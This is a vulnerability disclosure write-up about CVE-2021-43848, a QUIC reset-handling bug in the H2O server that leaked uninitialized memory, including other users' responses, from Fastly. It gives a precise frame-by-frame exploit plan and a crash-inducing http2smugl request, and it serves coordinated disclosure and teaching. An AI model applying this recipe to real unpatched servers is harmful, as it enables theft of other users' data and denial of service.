A story of leaking uninitialized memory from Fastly

12 min readJan 31, 2022

This post will go through a QUIC (HTTP/3) implementation bug in the H2O webserver. The bug is pretty interesting as it affected Fastly in a way that it allowed stealing random requests and responses from uninitialized memory of its’ nodes, somewhat similar to CloudBleed (but unlike CloudBleed, this vulnerability required a specific actions from an attacker).

Initially, I was hunting for HTTP Request Smuggling that could arise from HTTP/3 termination. I’ve previously done similar research for HTTP/2 (link), and one of the issues I’ve found was related to Cloudflare, a well-known CDN / anti-DDoS service that serves as a reverse proxy behind its’ clients. As QUIC (the underlying protocol for HTTP/3) recently became RFC9000, I’ve decided to look through its’ implementations. Also, I have chosen another target with a similar operational model — Fastly.

Setting up a test environment

Fastly is a CDN and anti-DDoS service that serves as a reverse proxy that accepts users’ requests, processes it according to a set of complex rules, and either serves it from its’ cache or forwards it to an upstream — a real server that stays behind Fastly.

Setting up a Fastly service is pretty simple. One can register an account, buy a domain, and set up DNS records to point to Fastly servers. After that, one needs to buy a TLS certificate as HTTP/2 and HTTP/3 require encryption for all data.

One thing worth noticing is that enabling HTTP/3 support is manual: one needs to write a support ticket and wait for a reply. However, it came out that you don’t need HTTP/3 to be enabled for the particular service to test something: it is enough to find any Fastly server supporting QUIC and send requests to it. While a real browser will not do that because of the missing Alt-Svc header, a request sent directly to the QUIC port will be processed regardless of the settings in the control panel, which is enough for testing.

As www.fastly.com itself is HTTP/3 enabled, you can resolve this domain to gather some HTTP/3-supporting IPs:

$ host -t A www.fastly.com
www.fastly.com is an alias for prod.www-fastly-com.map.fastly.net.
prod.www-fastly-com.map.fastly.net has address 151.101.113.57

After that, you can send HTTP/3 requests to it using my tool http2smugl by simply spoofing the :authority pseudo-header (yes, the tool supports HTTP/3 despite its’ name):

$ http2smugl request https+h3://151.101.113.57/ ":authority:a-domain-behind-fastly.com"
:status: 200
content-length: 0
...

If we run netcat instead at the http port at the upstream, we get a connection showing that Fastly indeed proxied the request:

$ nc -l 80
GET / HTTP/1.1
host: a-domain-behind-fastly.com
content-length: 0
user-agent: Mozilla/5.0
Fastly-SSL: 1
Fastly-Client-IP: <snip>
X-Forwarded-For: <snip>
X-Forwarded-Server: cache-fjr7923-FJR
X-Forwarded-Host: a-domain-behind-fastly.com
X-Timer: S1637693479.183877,VS0
X-Varnish: 2313353937
Fastly-FF: PPtav1cHmKdVa+PX0PZLG1dkeRjY/RpDKLvKU7LtCKo=!FJR!cache-fjr7923-FJR
CDN-Loop: Fastly
...

Nice.

Detecting which software is used

Fastly discloses that it uses Varnish for caching and complex request processing. However, Varnish does not support HTTP/3; thus, there must be another piece of software that “terminates” HTTP/3: it accepts HTTP/3 connection from user’s browsers, decodes it, and forwards to Varnish.

When I put a newline into a request header name or value, Fastly responded with an error message, destroying my hope to get HTTP Request Smuggling:

$ http2smugl request https+h3://151.101.113.57/ ":authority:a-domain-behind-fastly.com" "eldushechka:\n"
:status: 400
content-length: 42
content-type: text/plain; charset=utf-8found an invalid character in header value

Bummer.

The good news is that we can google that error and find that it is from the H2O — a small HTTP/{2,3} web server that has recently implemented QUIC support. Thus, we now know what we’re attacking and can dive deep into the source code. Moreover, we can build it and set up a reverse proxy locally: all the necessary config examples are provided in the distribution.

The testing became interesting pretty quickly. Just running a request with CONNECTmethod and non-zero content-length value crashed the server:

$ http2smugl request https+h3://127.0.0.1:8443/ ":method:CONNECT" "content-length:10"...at another tab...h2o: ../lib/http3/server.c:462: void shutdown_stream(struct st_h2o_http3_server_stream_t *, int, int, int): Assertion `stream->state < H2O_HTTP3_SERVER_STREAM_STATE_CLOSE_WAIT’ failed.
received fatal signal 6
./h2o(backtrace+0x5b)[0x47bacb]
./h2o[0x932766]
...

While this is a simple assert and does not have any security impact beyond DoS, it means that the QUIC code is not fuzzed to hell and can still contain some bugs. The assert message mentioned an object of the type recvstate; I decided to look for something more exploitable around it.

QUIC streams

HTTP/3 is the first HTTP version that has nothing to do with TCP. Instead, it uses an utterly new transport protocol, QUIC, that uses UDP to transport its’ data. As UDP provides no reliability and order-preserving guarantees and no congestion control, a QUIC implementation must handle those by itself (and to improve all that beyond TCP was the idea). However, this means that a QUIC implementation must take care of a lot more stuff than an HTTP/{1,2} webserver software.

H2O uses a specially designed QUIC implementation separated into Quicly library. The library handles everything related to QUIC: crypto handshakes for connections, retransmissions, flow control, etc.

Logical abstraction built over a QUIC connection for data transfer is called a stream. A QUIC connection is usually used for transferring several streams. A single stream is somewhat similar to a TCP connection — data can be sent in both directions of a stream, the delivery is guaranteed, and the data order is preserved. When QUIC is used for HTTP/3, each stream carries a single HTTP request — the client sends request headers and body to a new stream, the server sends the response, and the stream is closed. Some streams can be initiated by the server (so-called “pushes”), but we don’t need it in this post.

On the wire, QUIC data is encoded in so-called frames. There’re 20 frame types defined in RFC9000; however, if we leave the connection establishment, flow control, path probing, delivery confirmation, and crypto stuff behind the scenes, there will be only three frame types left that are related directly to data transfer. They are:

STREAM frames, which carries stream data
RESET_STREAM, which indicates that no more stream data will be sent; a client can send this frame to inform that a request it previously started is not needed anymore
STOP_SENDING, which is sent by the receiver that does not want to get more data in a stream.

Only the first two types affect the state of the receiving half of the stream, which is stored in the recvstream structure in Quicly. To move forward with the bug I found, we need to know what these frames contain and how they are supposed to work.

Data transfer

The data transferred over a QUIC stream does not have its’ length to be known before the transfer — nothing like the required Content-Length header in HTTP/1.0. Instead, it is always transmitted in chunks, similar to the chunked transfer encoding of HTTP/1.1. In the QUIC world, the chunks are STREAM frames.

Each STREAM frames contain several fields:

the stream ID
the offset of the frame, which indicates the offset of this particular chunk in the whole half-stream of this transfer direction (i.e., client→server or server→client)
the length of this frame
the FIN flag, indicating if this frame is final in the half-stream of this stream direction. If the flag is set, the frame additionally contains the total size of this transfer;
the stream data itself.

The second field — the offset — is needed because QUIC frames are transmitted over UDP, which does not guarantee the packets will arrive in the same order they were sent. Unlike TCP, where the receiver can discard out-of-order data, a QUIC receiver must hold a buffer with data that came out of order and use it when the missing prefix arrives.

The RESET_STREAM frame is sent when a side of the stream (typically the client) decides not to complete the transfer. Semantically, it means that no more data will be sent in this direction. This frame type may be sent if, e.g., a browser user clicks the stop button to cancel sending a large body. However, the server may still process the request even if it received RESET_STREAM: for example, the server may have started processing before the RESET_STREAM has arrived. In this case, it is allowed by the protocol to send the response in the stream.

The RESET_STREAM frame contains three meaningful fields:

stream ID
error code, which is not of our interest
the total number of bytes sent in the stream up to this moment.

The receiver should use the latter field to check if RESET_STREAM is sent after all stream data has been sent. If it indeed has all the data, it may interpret RESET_STREAM as a zero-sized STREAM frame with the FIN flag set; that is, it might act as if the stream was sent entirely and not aborted.

The bug

The information regarding H2O in this section and below are valid for commit d1f0f65269 and earlier. This commit is not a fix to the described vulnerability but the previous one; it’s here just to reference which version I’ve tested. The actual fix has landed at a68cabaeb1.

As I mentioned before, H2O uses a separate library for QUIC handling, called Quicly. Unlike other implementations, Quicly doesn’t store a buffer for our-of-order data inside it; instead, it triggers a callback function from its’ user that receives data offset as a parameter, among with data size and the data itself. Thus, an application using Quicly (H2O itself in our case) is responsible for holding the bytes that are not usable yet because they arrived earlier than some preceding ones in the stream order.

However, Quicly stores the positions (start and end offsets) of already received bytes and provides an interface to access these ranges. In particular, it defines the quicly_recvstate_bytes_available function that returns the total size of the continuous prefix. From the application point of view, it is equal to the number of bytes that can already be used under the assumption that it correctly stored all data previously sent via the callback.

On the other side, H2O, which is responsible for storing already arrived data, does not keep it in chunks. Instead, it uses a single continuous buffer (namely, st_h2o_http3_server_stream_t->recvbuf) and stores all fragments there, resizing the buffer if necessary. Thus, the bytes corresponding to the not yet arrived data are uninitialized in this buffer.

One note here is that H2O, of course, does not store the data it has already processed. Instead, it moves the offset corresponding to the beginning of the buffer and subtracts the same value from the offset of the received STREAM frames. This detail is not affecting us in any way and given here for clarity: an implementation that stores all the stream bytes, including ones that it doesn’t need anymore, would be insane.

The described behavior gives us the way to allocate a buffer that contains a lot of uninitialized data: we can just send a STREAM frame with such an offset that there’s a gap between it and the last previously sent byte. Now we need to make H2O use it, and that is where RESET_STREAM frames come in handy.

Quicly processes RESET_STREAM in the following way:

if it already knows the total size of the stream (either from a STREAM frame with FIN flag or from a previously received RESET_STREAM frame), it checks that the value of the “total size” field written in the frame matches the one it already has
it drops all the information about previously received byte ranges

The latter means that after a RESET_STREAM was processed, H2O has no way to distinguish which bytes of stream->recvbuf were initialized by the client’s data and which are left as-is. Even more exciting, a call to quicly_recvstate_bytes_available would return the total stream size, as if all the data left in the buffer were previously set by STREAM frames.

The only thing left before we have a working exploit is to trigger sending the recvbuf contents to an upstream after we sent a RESET_STREAM frame. It is tricky and relies on how H2O proxies the requests to an upstream. In particular, we need to know how the request body is buffered.

When H2O receives an HTTP/3 request whose headers indicate it contains a body, it does not start processing it right away. Instead, it buffers the body until it reaches a particular limit, 10240 bytes by default. After receiving the 10240th byte of the body, it switches to the streaming mode (Transfer-Encoding: chunked will be sent to an HTTP/1.1 upstream in this mode) and goes on with the request processing.

Any reasonable proxy implementation must handle the case when an upstream reads the data more slowly than the client sends it. One way to do that is to check if the client’s buffer contains more bytes every time after something was sent to the upstream, and that is exactly what H2O does. Thus, if we can make the RESET_STREAM frame be processed after the request started being sent to the upstream but before all the available data have been sent, H2O will check if the stream->recvbuf has more data. Due to the incorrect quicly_recvstate_bytes_available return value, the check will succeed, and H2O will proceed with forwarding data to the upstream, unaware of this data being uninitialized. Luckily, it is not checked if the stream was canceled via RESET_STREAM along the code path as well.

To sum up the above and give source code references, let’s repeat the three flaws of the Quicly/H2O combination we want to chain together:

1. When a RESET_FRAME received, quicly_recvstate_reset at deps/quicly/lib/quicly.c just clears received ranges of the st_quicly_recvstate_t structure. Subsequent calls to quicly_recvstate_bytes_available will return the total number of bytes still left in the stream (whether they were indeed received or not).
2. The function handle_buffered_input at lib/http3/server.c does not check if a stream has been canceled (quicly_stop_requested checks if the sending part was canceled, not the receiving one). Thus, it will process uninitialized ranges of stream->recvbuf as if the client sent them.
3. The proceed_request_streaming function at lib/http3/server.c calls handle_buffered_input and does not check if the stream was canceled. This function is set as a callback that will be called when the reverse proxy requests more data to be sent in streaming mode.

The exploit plan

Given the description above, one can come out with the following exploit plan:

The exploit establishes a connection to an H2O instance and performs a QUIC handshake.
The exploit sends the request headers to the instance, followed by precisely 10239 bytes of the request body. H2O receives and acknowledges them.
The exploit sends a specially crafted datagram that contains three QUIC frames:
– a STREAM frame with 10240th byte of the body (that is, offset field is set to the length of headers + 10239, and the data size is 1)
– a STREAM frame with 30000th byte of the body, which also has FIN flag set (that is, offset field is set to the headers length + 29999, data size is 1, FIN flag set, and the final size field is set to the headers length + 30000)
– a RESET_STREAM frame with final size field equal to the headers length + 30000
The value 30000 here is chosen arbitrarily. We’ll leak 30000–10240 = 19760 bytes of uninitialized data for this value. During the actual exploitation I’ve tried several different values of this parameter and leaked different types of data.
H2O processes the datagram, performing the following steps:
– аfter processing the first STREAM frame, it switches the HTTP request to the streaming mode and initiates a connection to the upstream;
– аfter processing the frame with the receiving 30000th byte of the body, it enlarges the stream->recvbuf to the size 30000 and writes the last byte of it, leaving the rest uninitialized. It also sets the eos value to 30000 as the FIN flag is set in the frame;
– after receiving RESET_STREAM frame in calls quicly_recvstate_reset, effectively forgetting which bytes of stream->recvbuf were initialized and which were not.
H2O reverse proxy module sends the first 10240 bytes to the upstream and requests more data by calling proceed_request_streaming. The latter function forwards the rest 19760 bytes to the upstream, only the last one of which was ever set, and the rest are leaking uninitialized data.

One thing I completely omitted in this description is HTTP/3 level framing. In reality, the data transmitted over QUIC streams is packed into HTTP/3 frames, which are different from QUIC frames and similar to HTTP/2 ones. HTTP/3 level framing does not add any difficulties to the exploitation beyond the need of the adjusting calculations of the offsets in the underlying QUIC stream.

Exploitation

To execute the plan above, we need to craft specially designed QUIC frames. After several tries to make a simple QUIC implementation from scratch, I gave up and patched quic-go. All we need is to rename the internal directory so we can craft the frames ourselves and add a function for the sendStream struct that adds a frame directly to the queue for sending.

After several rounds of debugging, it worked at my local H2O setup. My local webserver received something that looked like uninitialized memory: it contained stuff memory addresses, parts of readable strings, etc. I ran the exploit against Fastly, and it worked perfectly on the first try! At my upstream, I received a request from Fastly whose body contained an HTTP response that was obviously meant to be sent to another user (related to another website using Fastly) mixed up with binary data. I did several runs and received different stuff: images, dumps of Fastly internal stats, cookies, and other funny things.

Disclosure

I’ve disclosed the issue to Fastly, and they reacted quickly: the bug was hot-fixed in the production in several days, and then we coordinated the disclose (e.g., this post). The entire timeline was:

November 23 (2021) — the bug reported
December 1 — the hotfix deployed at one instance
December 8 — the issue fully resolved
January 31 — public disclosure

The bug in the H2O itself has been assigned CVE-2021–43848.

Conclusion

HTTP/3 and QUIC are excellent examples of a non-trivial protocol developed and implemented after the fuzzing era began; thus, you don’t expect that there will be such easy memory bugs laying around in a popular open-source project. However, there still are ones, given a considerable number of corner cases and a pretty non-trivial setup for a reasonable fuzzer. I’m looking forward to seeing more exciting bugs in open-source QUIC implementations.